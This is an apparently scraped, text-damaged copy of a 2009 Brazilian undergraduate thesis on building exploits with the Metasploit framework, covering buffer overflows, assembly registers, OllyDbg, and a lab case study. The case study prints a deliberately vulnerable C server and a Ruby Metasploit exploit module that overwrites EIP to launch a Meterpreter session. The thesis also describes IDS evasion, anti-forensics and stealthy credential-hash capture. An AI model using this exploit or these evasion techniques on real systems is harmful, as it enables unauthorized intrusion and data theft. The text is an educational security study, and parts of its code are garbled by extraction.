Beruflich Dokumente
Kultur Dokumente
Londrina 2009
Trabalho
de
Concluso
apresentado
como
requisito parcial para concluso do curso de Bacharelado em Cincia da Computao. Orientador: Prof. Lupercio F. Luppi.
Londrina
2009
Julio Cesar Liviero Della Flora DESENVOLVIMENTO E APLICAO DE EXPLOITS UTILIZANDO O METASPLOIT FRAMEWORK
AGRADECIMENTOS
Agradeo aos meus pais Delmo e Eliane, pela educao, credibilidade e carinho. Alessandra, minha namorada, pelo amor, pacincia, dedicao e compreenso. Ao meu orientador Luprcio, pelos conselhos e sugestes. Aos meus amigos de classe pela ajuda e pelos momentos de descontrao. Aos colegas do grupo de estudo Metasploit Brasil pelas informaes e explicaes.
RESUMO
Este trabalho teve como objetivo expor os benefcios da utilizao do framework Metasploit e evidenciar como seus recursos aceleram o desenvolvimento de cdigo para explorao de vulnerabilidades. Uma introduo as principais tcnicas de explorao, assim como o conhecimento necessrio para aplic-las foi apresentado neste projeto. O prvio conhecimento da linguagem Assembly para arquitetura IA32 se faz necessrio compreenso total da pesquisa. Posteriormente um programa escrito com o intuito de ser vulnervel a buffer overflow serviu de base para o desenvolvimento de um cdigo que se aproveitasse dessa falha, a este cdigo dado o nome de exploit. O buffer overflow uma falha de segurana, ou seja, uma vulnerabilidade na qual se utiliza o estouro do buffer a partir da oferta de dados superior a que a varivel capaz de armazenar. Esse exploit foi codificado utilizando o framework Metasploit, que uma plataforma de cdigo aberto destinada a acelerar e reforar o desenvolvimento e a utilizao destes cdigos. Ao final deste trabalho a interface msfgui presente no framework foi utilizada para que o exploit desenvolvido fosse lanado, obtendo uma sesso no autorizada entre o os computadores envolvidos.
Palavras-Chave: Metasploit, Exploit, Segurana, Vulnerabilidade.
ABSTRACT
This paper aimed to explain the benefits of using the Metasploit framework and show how their resources accelerate the development of code to exploit vulnerabilities. Introductions to the main exploit techniques, as well as the minimum knowledge necessary to apply them were presented in this project. Some knowledge of Assembly language to IA32 architecture is necessary to achive the complete understanding of this research. Posteriorly, a program was written with the intention to be buffer overflow vulnerable and served as base for the development of a code that takes advantage of this failure, this code is known as an exploit. The buffer overflow is a security flaw, in other words, a vulnerability in wich you get the buffer burst by providing more data than the variable can store. This exploit has been coded using the Metasploit framework, that is an open source platform designed to accelerate and enhance the development and use of these codes. At the end of this work the msfgui interface, provided by the framework, was used to released the developed exploit, obtaining an unauthorized session among the computers involved.
LISTA DE FIGURAS
Figura 2.1: Exploits pertencentes ao Metasploit framework Figura 2.2: Payloads pertencentes ao Metasploit framework Figura 2.3: Opes de evaso do Metasploit framework Figura 2.4: Arquitetura do Metasploit framework Figura 2.5: Interface do aplicativo Ollydbg Figura 3.1: Vulnerabilidade no programa bof-server Figura 3.2: Anlise do programa utilizando o OllyDbg Figura 3.3: String nica gerada pela funo pattern_create.rb Figura 3.4: Primeiro endereo totalmente sobrescrito Figura 3.5: Interface msfgui Figura 3.6: Sesso estabelecida 13 15 19 22 29 38 39 40 41 43 44
10
SI DI SP BP IP LIFO IDE
Source Index Destination Index Stack Pointer Base Pointer Instruction Pointer Last In First Out Integrated Development Environment
11
SUMRIO
1 INTRODUO ................................................................................................................... 12
2 FUNDAMENTAO TERICA ..................................................................................... 13
2.1 EXPLOITS ............................................................................................................... 13
2.1.1 Payloads ............................................................................................................ 14
2.2 BUFFER OVERFLOW ............................................................................................ 15
2.3 O METASPLOIT FRAMEWORK........................................................................... 16
2.3.1 Objetivos do Metasploit .................................................................................... 17
2.3.2 Evaso de SDI e SPI ......................................................................................... 19
2.3.3 Metasploit Anti-Forense ................................................................................... 20
2.4 POR QUE RUBY? ................................................................................................... 21
2.5 DESIGN E ARQUITETURA ................................................................................... 21
2.6 METERPRETER ...................................................................................................... 23
2.7 REGISTRADORES .................................................................................................. 24
2.8 CONJUNTOS DE INSTRUES ASSEMBLY ....................................................... 26
2.9 FUNCIONAMENTO DA PILHA ............................................................................ 27
2.10 DEBUGGERS E DISASSEMBLERS .................................................................... 27
3 ESTUDO DE CASO ............................................................................................................ 31
4 METODOLOGIA ............................................................................................................... 32
5 CONCLUSO E TRABALHOS FUTUROS ................................................................... 45
REFERNCIAS ..................................................................................................................... 47
12
1 INTRODUO
Estudos realizados pela Associao Brasileira de Empresas de Software (ABES, 2009) apontam que o mercado brasileiro de software e servios ocupa a 12 posio no mercado mundial, tendo movimentado em 2008 aproximadamente 15 bilhes de dlares, equivalente a 0,96% do PIB brasileiro naquele ano. Deste total, foram movimentados cinco bilhes em software, o que representou perto de 1,68% do mercado mundial. Os restantes 10 bilhes foram movimentados em servios relacionados. As empresas de desenvolvimento de software vm crescendo de forma exponencial, em todo mundo a competitividade do mercado obriga os desenvolvedores a acelerar o processo de criao exigindo que programas sejam lanados sem que as verificaes relativas segurana possam ser devidamente aplicadas. Esses programas em sua maioria apresentam falhas de programao que deveriam ser corrigidas antes de lanados ao mercado, dificultando assim a incidncia de vulnerabilidades. Por se tratar de processos muitas vezes exaustivos, a devida ateno referente segurana no empregada, isso torna o software um possvel alvo para indivduos mal intencionados comprometendo dados sigilosos do sistema. Para que a exausto no processo de verificao seja minimizada, faz-se necessrio uma ferramenta que reduza o tempo empregado no desenvolvimento do teste de segurana efetivo. O Metasploit um framework de explorao de cdigo aberto concebido para proporcionar ao usurio um modelo de desenvolvimento de exploits, possibilitando que longos trechos de cdigo sejam reutilizados. Essa funcionalidade diminui o tempo gasto na implementao do cdigo, o qual pode ser reaproveitado em experincias futuras. Esse framework separa de maneira eficaz o cdigo que explora falhas de software (conhecido como exploit), do cdigo que executado no sistema objeto com a finalidade de adquirir privilgios do usurio atual (payload), tornando possvel a utilizao de um payload em vrios exploits.
13
Esses exploits podem ser preparados para atacar um sistema local ou remoto, variam muito quanto sua forma e poder de ataque. Por ser um fragmento de cdigo especialmente preparado para explorar falhas muito especficas, geralmente h
14
um diferente exploit para cada tipo de aplicativo, para cada tipo de falha e para cada tipo de sistema operacional. Os exploits podem existir como programas executveis ou, quando usados remotamente, estar ocultos, por exemplo, em links de sites ou dentro de determinado comando de um protocolo de rede. Exploits comumente utilizam-se de um tipo especfico de falha conhecida como buffer overflow (estouro de buffer). Uma varivel designada para gravar uma determinada quantidade de informaes, quando a oferta de dados superior a que foi estipulada ocorre o estouro do buffer. Isso possibilita que um cdigo seja executado com privilgios de operador do sistema. Conforme mencionado pelo national vulnerability database (NVD, 2009) foram relatados de janeiro de 2008 a junho de 2009 cerca de 840 falhas relacionadas buffer errors atingindo um total de 1424 falhas desde a criao deste banco de dados. Maiores explicaes sobre a falha de estouro de buffer sero apresentadas ao decorrer do trabalho.
2.1.1 Payloads
Payloads so pedaos de cdigo que so executados no sistema alvo, como parte de uma tentativa de explorao. Esse cdigo normalmente uma seqncia de instrues Assembly que auxilia o codificador a atingir um determinado objetivo, como estabelecer uma conexo entre o alvo e o atacante retornando um prompt de comando. Tradicionalmente os payloads so criados a partir do zero ou por modificaes em cdigos existentes, isso requer um profundo conhecimento no somente em linguagem Assembly, mas tambm sobre o funcionamento interno do sistema operacional alvo.
15
O MSF vem com um grande nmero de payloads (conforme a figura 2.2, 231 em sua atual verso) pr-codificados que podem ser usados com qualquer exploit aumentando a flexibilidade de uso dessa ferramenta.
16
estabelecer conexes ou executar programas. Todavia apenas linguagens de programao que no efetuam checagem de limite ou alterao dinmica no tamanho do buffer so alvos deste problema. Ainda segundo o autor o princpio desta tcnica estourar o buffer e sobrescrever parte da pilha alterando o endereo de retorno da funo para a rea em que o cdigo malicioso encontra-se armazenado, podendo assim executar cdigo arbitrrio com os privilgios do usurio que executa o programa vulnervel. Utilizar buffer overflow contra variveis na stack algumas vezes chamado stack overflow (overflow de pilha). Como mencionado em Como Quebrar Cdigos (HOGLUND e McGRAW, 2006) este ataque foi o primeiro do gnero, amplamente popularizado e explorado fora do ambiente laboratorial. H milhares de overflows de pilha conhecidos nos software comerciais, em quase todas as plataformas imaginveis. Este gnero de ataque principalmente o resultado de rotinas de tratamento de string mal projetadas encontradas nas bibliotecas C-padro. Informaes tcnicas sobre o funcionamento dos ataques de estouro de buffer assim como suas variaes fogem ao escopo desse trabalho, informaes sobre tais tcnicas podem ser encontradas em Building Secure Software (VIEGA E McGRAW, 2001).
17
tornou um framework que visava o funcionamento, configurao e desenvolvimento de exploits para vulnerabilidades j conhecidas. A verso 2.1 do produto foi lanada em junho de 2004, desde ento o desenvolvimento do produto e a adio de novos exploits e payloads tem aumentado rapidamente. Embora inicialmente a estrutura no fornecesse nenhum suporte a colaboradores, com o lanamento da verso 2.2 o framework se tornou muito mais amigvel aos desenvolvedores. A verso 2.x originalmente escrita em Perl, Assembly e C, logo concedeu lugar a verso 3.x que foi completamente reescrita em Ruby, revisando a arquitetura, interface e as APIs fornecidas aos usurios. A popularidade da ferramenta pode ser medida baseada em uma pesquisa desenvolvida por seu criador H. D. Moore e apresentadas em Cansecwest 2006 e 2007, o framework foi mencionado em 17 livros, 950 blogs, e 190 artigos desde a liberao da verso 3.0 estvel em maro de 2007, recebendo em menos de dois meses 20.000 requisies de download, neste mesmo perodo o utilitrio msfupdate desenvolvido para atualizar a ferramenta foi usado por mais de 4.000 endereos de IP segundo MAYNOR e MOOKHEY (2007).
18
cdigo exploratrio poderia ser injetado? Esta fase tambm analisa o aplicativo enquanto o cdigo inserido. 4. Desenvolvimento do Exploit: Aps as principais questes serem respondidas, o desenvolvimento do exploit comea. Este considerado a arte negra do processo, exige uma profunda compreenso dos registradores do processador, cdigo Assembly, offsets e payloads. 5. Teste: Esta a fase em que o codificador verifica o que, de fato, vulnervel testando varias plataformas, service packs ou patches e algumas vezes at processadores com arquiteturas diferentes. 6. Lanamento: Depois de ser testado, e os parmetros necessrios para a sua execuo serem determinados, o codificador apresenta publicamente o seu projeto. Muitas vezes o cdigo apresenta falhas propositais em sua composio para dissuadir usurios comuns a execut-lo contra sistemas vulnerveis. Com a chegada do Metasploit, escrever um exploit tornou-se simples mesmo para um programador amador. O framework j vem com mais de 300 exploits prontos para execuo. Os desenvolvedores esto avanando rapidamente assim como a popularidade da ferramenta. Essa em demasia semelhante ao grande numero de plugins que o Nessus possui no momento, porm a fama atribuda ao MSF no se da somente pelo crescente repositrio de cdigo, mas pelo modo que desenvolvido e arquitetado. O MSF concorre diretamente com produtos comerciais como o Immunitys Canvas e o Core Security Technologys IMPACT. No entanto, existe uma grande diferena entre os objetivos do MSF comparado aos produtos citados. Os produtos comerciais destinados a testes de intruso apresentam interfaces amigveis e extenso repositrio de exploits enquanto o MSF explora o desenvolvimento de exploits, payloads, encoders, geradores de NOPs e ferramentas de reconhecimento. Alm disso, tambm uma plataforma para projetar utilitrios que permitam a investigao e o desenvolvimento de novas tcnicas para testes de segurana.
19
provvel que o Metasploit framework torne-se a primeira ferramenta de segurana (parcialmente open-source, uma vez que agora distribuda sob a sua prpria licena) gratuita a abranger toda uma gama de testes de segurana com mdulos para determinar hosts vulnerveis, interface com scanners como o Nmap e Nessus, exploits, payloads e post-exploitation goodies para apropriar-se furtivamente do sistema, e possivelmente, de toda a rede conforme MAYNOR e MOOKHEY (2007).
20
Opes de evaso agora se encontram em uma classe dentro das bibliotecas do framework. O protocolo de empilhamento (HTTP, Distributed Computing Environment Remote Procedure Call [DCERPC], Simple Mail Transfer Protocol [SMTP], Sun RPC) integra a evaso de IDS, por exemplo, os seguintes mtodos garantem evaso em nvel de protocolo: TCP::max_send_size TCP::send_delay HTTP::chunked HTTP::compression SMB::pipe_evasion DCERPC::bind_multi DCERPC::alter_context
21
Os futuros trabalhos previstos pelo projeto incluem manipulao de logs de browser, deleo segura de arquivos, modificao de arquivos de meta-dados e documentao relativa a tcnicas anti-forence. O projeto anti-forence est disponvel em http://www.metasploit.com/research/projects/antiforensics/.
22
Alguns dos componentes fornecidos pelo Rex incluem um wrapper socket subsystem, logging subsystem e uma srie de outras classes teis. O prprio Rex projetado para no ter outras dependncias alm das que so includas no pacote de instalao do Ruby. A arquitetura da verso 3.0 do MSF mostrada na figura 2.4:
O framework dividido em diferentes partes, sendo o framework core a de nvel mais baixo, responsvel pela execuo de todas as interfaces que permitem interao com os exploits, mdulos, sesses e plugins. A biblioteca core estendida pelo framework base library que destinada a proporcionar um empacotamento de rotinas mais simples para lidar com o framework core bem como dispor de classes teis para lidar com os diferentes aspectos do framework. E finalmente, a biblioteca base estendida pelo framework ui que implementa suporte aos diferentes tipos de interface de usurios, como o console de comandos e a interface web. Em paralelo ao framework, os mdulos e plugins concedem apoio ao desenvolvimento dos exploits. O mdulo tem como funo organizar e separar de acordo com as caractersticas, ele se subdivide em exploit, payload, encoder, NOP generator e auxiliary. A interface estabelece uma relao direta entre o usurio e o computador, os mdulos podem ser carregados dentro das interfaces.
23
Os plugins so projetados para mudar o framework em si, alteram a utilidade do quadro adicionando novas funcionalidades. a introduo de plugins que refora a serventia do framework como uma plataforma de desenvolvimento para ferramentas de segurana.
2.6 Meterpreter
Ao explorar uma vulnerabilidade de software existem alguns resultados que so esperados pelo atacante. O mais comum desses, ter acesso a um interpretador de comandos (cmd.exe ou /bin/sh) que lhes permite executar comandos na mquina remota com os privilgios do usurio que est executando o software vulnervel. O acesso ao interpretador de comandos da mquina alvo d ao invasor praticamente controle total sobre o sistema sendo delimitado apenas pelos privilgios do usurio atual. Embora indubitavelmente existam benefcios em utilizar o interpretador de comandos, algumas melhorias podem ser feitas. Meterpreter (uma abreviao de meta-interpreter) um avanado payload contido no framework Metasploit, sua finalidade proporcionar recursos avanados prontos, pois se os mesmos fossem criados o processo tornar-se-ia exaustivo visto que a linguagem de programao seria em Assembly. Esse payload permite escrever suas prprias extenses sob a forma de DLL que podem ser carregadas e injetadas no computador alvo. O Meterpreter e todas as suas extenses, por serem carregadas diretamente na memria principal, no chegam a tocar o disco rgido do alvo, dificultando assim a deteco por um antivrus comum. Com o lanamento da verso 3.0 do MSF o Meterpreter apresentou uma significativa melhora em seus recursos, como: 1. Um dos aspectos mais poderosos do Meterpreter o fato de que ele executado dentro de um contexto de processo vulnervel. A nova verso vai alm, permitindo migrar as instancias do servidor Meterpreter para um processo completamente diferente sem estabelecer uma nova conexo. Ento, se migrarmos para um servio do sistema como o lsass.exe, a nica maneira de matar o processo do servidor seria encerrar todo o sistema.
24
2. A extenso Vinnie Lius SAM Juicer agora faz parte da escalada de privilgios do payload, permitindo capturar as hashes presentes no SAM databese. 3. O payload conta agora com um extensivo suporte para interagir com processos em nvel de kernel, podendo carregar e descarregar DLLs, manipular memria e threats e assim por diante. 4. Semelhante ao msfconsole, o Meterpreter conta com um shell interativo que pode ser usado para acessar uma instncia de servidor em nvel de script, podendo procurar e substituir strings da memria virtual de qualquer processo remoto acessvel. 5. O payload tambm permite desabilitar o funcionamento do mouse e teclado do alvo.
2.7 Registradores
Podemos comparar um registrador a uma varivel, no qual so armazenados valores diversos, descrito em SIQUEIRA (2008), existem tipos distintos de registradores na linguagem Assembly como os de uso geral, que podem armazenar qualquer valor ou dado e os registradores especiais. Nem todos os registradores podem ser usados para armazenar valores inseridos diretamente pelo programador, como o registrador eip (includo na classe dos registradores especiais). Cada registrador possui uma determinada funo. Nos sistemas Unix like os registradores de uso geral, alm de poderem ser usados para o armazenamento de qualquer tipo de dado, tambm possuem funes exclusivas na execuo de uma syscall. Os registradores de uso geral so mostrados na tabela abaixo:
AX BX CX DX Accumulator Base Couter Data
Tabela 2.1: Registradores gerais.
25
Antes dos processadores 80386, esses registradores possuam 16 bits, j nos processadores atuais eles possuem 32 bits. Esses registradores so compostos por uma parte alta (High) e uma parte baixa (Low). Nos de 16 bits divido em 8 high e 8 low , nos de 32 bits, separado entre 16 high e 16 low. Os registradores especiais (termo usado para referenciar os registradores que no so de uso geral) podem ser divididos em: registradores de segmento, registradores de deslocamento e registradores de estado. Os registradores de segmento CS (Code Segment), DS (Data Segment), ES (Extra data Segment) e SS (Stack Segment) tm 16 bits e so utilizados para acessar uma determinada rea de memria denominada offset (segmento), ou seja, esses registradores so utilizados para auxiliar o microprocessador a encontrar o caminho pela memria do computador. Os registradores de deslocamento esto associados ao acesso de uma determinada posio de memria previamente conhecida, com o uso dos registradores de segmento. Existem cinco registradores de ponteiro dos quais quatro so manipulveis: SI (Source Index), DI (Destination Index), SP (Stack Pointer) e BP (Base Pointer). O registrador IP (Instruction Pointer), referente ao apontador da prxima instruo possui o valor de deslocamento (Offset) do cdigo da prxima instruo a ser executada. Este registrador no acessvel por qualquer instruo por se tratar de um componente de uso interno do microprocessador. Os registradores de apontamento DI e SI so ndices de tabela, SI faz a leitura de uma tabela e DI a escrita. SP e BP permitem o acesso pilha de programas (memria utilizada para armazenar dados). A pilha possibilita guardar dados em memria, sem utilizar registradores gerais. O registrador SP acessa o prximo segmento vazio da pilha a partir do ultimo dado armazenado, j o registrador BP utilizado para efetuar o apontamento para a base da pilha. Os registradores de estado (Flag) tm 16 bits que agrupa um conjunto de flags de um bit, cada flag sinaliza um estado de comportamento particular do computador, os registradores de estado no apresentam significncia ao escopo deste
26
trabalho, porm so considerados os registradores de maior importncia no s para os microprocessadores 8086, mas para qualquer processador existente. Maiores explicaes sobre registradores assim como linguagem Assembly podem ser encontrados em (MANZANO, 2007).
27
o resultado no operando-destino.
Tabela 2.2: Conjunto de Instrues Assembly.
Conforme MANZANO (2007) o uso da pilha facilita muitas operaes de manipulao de valores, pois possvel armazenar valores na pilha ou retira-los via programao pelas instrues especificas para essa finalidade, como PUSH e POP. A pilha trata-se de um tipo especial de lista em que todas as operaes so empilhadas, aguardando para serem executadas. O elemento retirado na ordem inversa daquela em que foi inserido, ou seja, o ltimo elemento que entra sempre o primeiro que sai. Por isso este tipo de estrutura chamado LIFO (Last In First Out). Manipular uma pilha de valores til em situaes nas quais preciso guardar um valor de um registrador antes de um procedimento e recuper-lo antes da finalizao do mesmo.
28
cdigo nativo em uma linguagem de mais alto nvel. J os debuggers so aplicativos capazes de analisar, depurar e testar aplicaes. Atualmente, grande parte das IDEs de programao contam com um debugger embutido, sua principal utilidade identificar e tratar erros, sendo possvel rodar o cdigo linha linha para que possamos analisar a mudana das variveis e o comportamento do cdigo. Os debuggers de binrios j compilados seguem o mesmo conceito dos depuradores, mas devido ao fato do cdigo j ter sido compilado, ele precisa ter um disassembler embutido em um debugger para decodificar as instrues. Ainda segundo o autor, existem dvidas sobre os benefcios de se utilizar debuggers, sendo que em grande parte das vezes temos acesso ao cdigo fonte original (caso tenhamos programado o aplicativo), contudo, sua aplicabilidade se estende alm de simplesmente analisar os programas em linguagem Assembly, por exemplo: Tratamento de erros: Durante a programao de um aplicativo pequenos erros podem passar despercebidos, ocasionando mau funcionamento. Em muitos casos analisar os binrios j compilados dentro de um debugger torna-se mais fcil do que tentar encontrar o erro no cdigo original. Engenharia Reversa: Sem a utilizao de debuggers e disassemblers o processo de engenharia reversa no poderia ser feito de forma eficiente. Ainda existe confuso entre cracking e engenharia reversa, porm so conceitos diferentes. A engenharia reversa uma atividade completamente legal, muito do que vemos hoje (como os drivers para Linux) apenas so possveis devido ao uso da engenharia reversa. Aprendizado: Uma das melhores formas de se aprender a linguagem Assembly. Pode-se programar algo em uma linguagem de alto nvel e posteriormente analisar o resultado do binrio compilado dentro de um debugger, esse conhecimento ajuda a dominar melhor a linguagem e criar algoritmos mais eficientes. Existem atualmente dezenas de debuggers e disassemblers, dentre os quais os mais famosos so: IDA, WinDbg, W32DASM e Ollydbg. Neste trabalho iremos
29
utilizar o OllyDbg (figura 2.5) por ser um dos melhores e mais poderosos debuggers disponveis no mercado.
O aplicativo apresenta uma interface composta por poucos botes, todavia o boto direito do mouse fornece um menu com grande parte das funes existentes. As principais regies do programa foram enumeradas para facilitar o entendimento de suas funes (Figura 2.5). Regio 1: a tela principal do programa, onde apresentado o disassembly do aplicativo (divida em quatro colunas). Address (coluna 1) : mostra o endereo virtual das instrues. Hex Dump (coluna 2) : cdigo da instruo no seu formato hexadecimal. Disassembly (coluna 3) : interpretao e traduo para a linguagem assembly das instrues presentes na segunda coluna.
30
Comments (coluna 4) : utilizada apenas para comentrios e informaes. Regio 2: Esta rea mostra todos os registradores e flags. Sendo atualizada a cada instruo, mostra o estado atual dos itens presentes. Regio 3: Regio destinada a exibir a memria fsica (RAM) do aplicativo (dividida em trs colunas) : Address (coluna 1) : endereos virtuais de memria. Hex Dump (coluna 2) : contem o valor de cada byte da memria. ASCII (coluna 3) : utilizada para exibir de formas diferentes os valores contidos na memria. Regio 4: Mostra o estado atual da pilha, que amplamente utilizada durante as chamadas de funo (dividida em trs colunas) : Address (coluna 1) : cumpre o mesmo papel das outras colunas de endereo. Value (coluna 2) : valor armazenado no endereo da pilha. Comment (coluna 3) : utilizado apenas para comentrios.
31
3 ESTUDO DE CASO
Esse estudo de caso ir utilizar as tcnicas contidas em Writing exploits for Metasploit 3.0 (http://redstack.net) para conceber um cdigo capaz de efetuar uma conexo no autorizada entre dois computadores. Utilizando-se de uma vulnerabilidade conhecida como Stack Overflow, o cdigo desenvolvido em Ruby sobrescreve o registrador EIP alterando o fluxo do programa para o endereo de memria onde se encontra o payload, que por sua vez ir estabelecer a conexo entre os computadores. Como dito anteriormente, o Bof-server foi desenvolvido para ser explorado ao decorrer desse estudo, contendo uma falha de programao proposital, no entanto falhas desse tipo so comumente encontras em programas comerciais.
32
4 METODOLOGIA
Em um laboratrio montado para ilustrar as tcnicas de intruso desse trabalho foram utilizados: 1 desktop com processador athlon 64 X2 tendo o Windows XP SP0 1 notebook com processador athlon 64 X2 tendo o Linux BackTrack 4 1 roteador D-link dir 500 responsvel pela conexo entre os
como seu sistema operacional. como seu sistema operacional. computadores. O BackTrack 4 foi escolhido para este laboratrio por ser uma distribuio Linux voltada a testes de intruso, tendo o MSF instalado por padro. Um programa desenvolvido especialmente para ser vulnervel a ataques de bufferoverflow ser instalado no computador alvo, esse programa, chamado bof-server (PELAGALLI, 2008) foi desenvolvido para ser utilizado em plataformas Windows. O prximo pargrafo apresenta em detalhes o cdigo fonte deste programa.
/* ** bof-server.c for bof-server ** ** Made by Raffaello Pelagalli ** ** Started on Mon Jan 21 14:13:07 2008 Raffaello Pelagalli
** Last update Wed Jan 23 00:08:18 2008 Raffaello Pelagalli ** ** This library is free software; you can redistribute it and/or ** modify it under the terms of the GNU Lesser General Public ** License as published by the Free Software Foundation; either ** version 2.1 of the License, or (at your option) any later version.
33
** ** This library is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. ** Lesser General Public License for more details. ** ** You should have received a copy of the GNU Lesser General Public ** License along with this library; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA ** 02111-1307 */ USA See the GNU
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <winsock.h>
void {
usage(char * name)
34
exit (-1); }
void {
"%s
at
line
%i:
%s,
%s\n",
s,
n,
msg,
n; ret;
s[0] = 0; for (n = 0; (ret = recv(fd, s + n, 1, 0)) == 1 && s[n] && s[n] != '\n'; n++) ; if (ret == -1 || ret == 0) return (-1); while (n && (s[n] == '\n' || s[n] == '\r' || s[n] == ' ')) { s[n] = 0; n--; }
35
return (n); }
void {
manage_client(int s)
while (cont) { send(s, "\r\n> ", 4, 0); if (getl(s, buffer) == -1) return ; if (!strcmp(buffer, "version")) send(s, VERSION_STR, strlen(VERSION_STR), 0); if (!strcmp(buffer, "quit")) cont = 0; } }
p; s; i; pid;
36
WSADATA wsaData;
if ((s = socket(PF_INET, SOCK_STREAM, 0)) == -1) bserv_error(__FILE__, __LINE__, "socket"); sin.sin_family = AF_INET; sin.sin_port = htons(p); sin.sin_addr.s_addr = INADDR_ANY; if (bind(s, (struct sockaddr*)&sin, sizeof(sin)) == -1) bserv_error(__FILE__, __LINE__, "Can't bind"); if (listen(s, 42) == -1) bserv_error(__FILE__, __LINE__, "Can't listen"); i = sizeof(cli_sin); while ((cli_s = accept(s, (struct sockaddr*)&cli_sin, &i)) != -1)
37
O bof-server um programa extremamente simples com apenas dois comandos, version e quit. Digitando version a verso do programa exibida, o comando quit fecha o aplicativo.
> telnet localhost 4242 > version bof-server v0.01 > quit
O aplicativo permite a execuo remota de cdigo devido a um stack overflow introduzido pela funo getl(int fd, char * s). Conforme a figura 3.1 quando um conjunto extenso de caracteres introduzido, o aplicativo para de responder.
38
O erro gerado pelo programa ser essencial para o desenvolvimento do exploit, no entanto sem um depurador de cdigo no se pode determinar certas informaes que so essenciais na confeco deste exploit. Realizando o mesmo procedimento acima citado, j com o depurador de cdigo anexado, conclui-se por informaes contidas no rodap do debugger que ouve uma violao de acesso quando o bof-server executou o conjunto de caracteres enviados (figura 3.2). Nesse caso o conjunto de nmeros 61 informado pelo depurador diz respeito representao do caractere a derivado do Cdigo Padro Americano para o Intercmbio de Informao (ASCII).
39
Como descrito anteriormente, o programa deixa de responder quando um grande nmero de caracteres enviado ao servidor, para determinar com maior exatido a quantidade de bytes necessrios para que isso acontea o MSF traz uma interessante ferramenta composta por dois scripts: pattern_create.rb e pattern_offset.rb. A funo pattern_create.rb gera uma string nica que quando enviada, retorna o endereo do registrador EIP, por sua vez a funo pattern_offset.rb utiliza esta informao para determinar quantos bytes sero necessrios para chegar ao endereo do registrador EIP.
40
Observa-se na figura 3.3 que a funo pattern_offset.rb retorna o nmero 520, ento sero necessrios 520 + 4 bytes para sobrescrever o registrador EIP fazendo com que o programa pare de responder. Outra informao necessria ao desenvolvimento do exploit o endereo onde se inicia o overflow na pilha, conforme a figura 3.4 o primeiro endereo totalmente sobrescrito pelo conjunto de caracteres o 0x22FB68, posteriormente este endereo ser usado como ponto de partida para o payload.
41
De posse das informaes tratadas anteriormente, pode-se ento iniciar a confeco do exploit, o MSF possui um diretrio especifico situando em /home/usurio/.msf3 onde os cdigos escritos pelo usurio devem ser armazenados, o principal objetivo dessa prtica evitar a perda de dados resultante das constantes atualizaes do framework. O pargrafo seguinte mostra o cdigo fonte do exploit escrito em Ruby:
require 'msf/core' module Msf # class name should reflect directories class Metasploit < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp # exploit relative informations def initialize(info = {}) super(update_info(info, 'Name' 'Description' bof-server v0.01', 'Author' 'Version' 'Payload' {
=> 'bof-server exploit', => 'This is an exploit for => 'xipe', # You ;) => '1.0', =>
42
=> 500, # Space that payload can # We found that we needed # bof-server crash, but
we will only use 500, as # the end of this space can be modified by the target # before returning. 'StackAdjustment' => -3500, # Modify stack pointer at shellcode start # so it can use the stack without writing 'BadChars' that payloads should not # contains. }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0', { 'Platform' =>'win', 'Ret' => 0x22fb65 # Return address. } ], ], 'DefaultTarget' => 0)) end def check # Here we should check if the target is vulnerable # This function should not crash the target connect buf = "version\n" sock.put(buf) res = sock.get disconnect if res =~ /bof-server v0.01/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit # Here we should exploit the target connect buf = payload.encoded # Size of the payload is defined by Payload.Space in exploit infos. buf << make_nops(20) # Some more bytes, as we defined the payload to be 500 bytes long buf << [target.ret].pack('V') # Return address sock.put(buf) # send data sock.get handler # pass the connection to the payload handler disconnect end => # on itself. "\x00\x20\x0D\x0A", # Chars
end
43
Esse cdigo deve ser nomeado como Bof-Server1.rb e colocado em /home/usurio/.msf3/modules/exploits/windows/dummy, os diretrios no existentes devero ser criados de acordo com o caminho acima. Com o termino do desenvolvimento, pode-se enfim iniciar a interface msfgui (figura 3.5).
Para que o exploit seja lanado deve-se primeiramente clicar duas vezes com o boto esquerdo em BofServer1 (figura 3.5), uma tela se abrir pedindo algumas informaes como verso do sistema operacional que se deseja atacar, payload que dever ser usado, endereo IP do alvo entre outras.O Meterpreter payload ser usado nesse exemplo.
44
Aps o preenchimento das informaes necessrias uma sesso aberta, indicando que houve xito na explorao da falha (figura 3.6). Pode-se agora utilizar todas as funes do Meterpreter como copiar e excluir arquivos, obter senhas de usurios, efetuar o upload de executveis, entre outras, para se aproveitar do sistema invadido, ressaltando que nenhum processo referente ao Metasploit ser exibido no gerenciador de tarefas do Windows, tornando o ataque imperceptvel ao usurio.
45
46
Outra proposta seria o desenvolvimento de um scanner de vulnerabilidades que identificasse e atacasse alvos predeterminados, podendo assim utilizar o MSF como suporte a prtica.
47
RFERENCIAS
ALMEIDA,
A.
R.
Funcionamento
de
Exploits,
2003.
Disponivel
em:
<http://www.firewalls.com.br/files/alexisExploit.pdf>. Acesso em: 13 julho 2009. AMORIM, A. Form Metasploit-br, 30 Setembro 2008. Disponivel em:
<http://www.metasploit-br.org/>. Acesso em: 25 junho 2009. ARANHA, D. D. F. Tomando o Controle de Programas Vulnerveis a Buffer Overflow, fevereiro 2003. Disponivel em: <http://www.cic.unb.br/docentes/pedro/sd.php>. Acesso em: 22 junho 2009. BIRCK, F. A. Utilizando um debugger - OllyDbg, 2008 Maio 22. Disponivel em: <http://www.guiadohardware.net/comunidade/utilizando-debugger/785195/>. Acesso em: 22 junho 2009. HOGLUND, G.; MCGRAW, G. Como Quebrar Cdigos. So Paulo: Pearson, 2006. MANZANO, J. N. G. Fundamentos em Programao Assembly. So Paulo: rica, 2007. MAYNOR, D.; MOOKHEY, K. K. Metasploit Toolkit. Burlington: Syngress, 2007. METASPLOIT PROJECT. Metasploit 3.0 Developers Guide, 2006. Disponivel em: <http://www.metasploit.com/documents/developers_guide.pdf>. Acesso em: 23 junho 2009. METASPLOIT PROJECT. Metasploit Framework User Guide, 2006. Disponivel em: <http://www.metasploit.com/documents/users_guide.pdf>. Acesso em: 14 junho 2009. METASPLOIT PROJECT. Metasploits Meterpreter, 2006. Disponivel em:
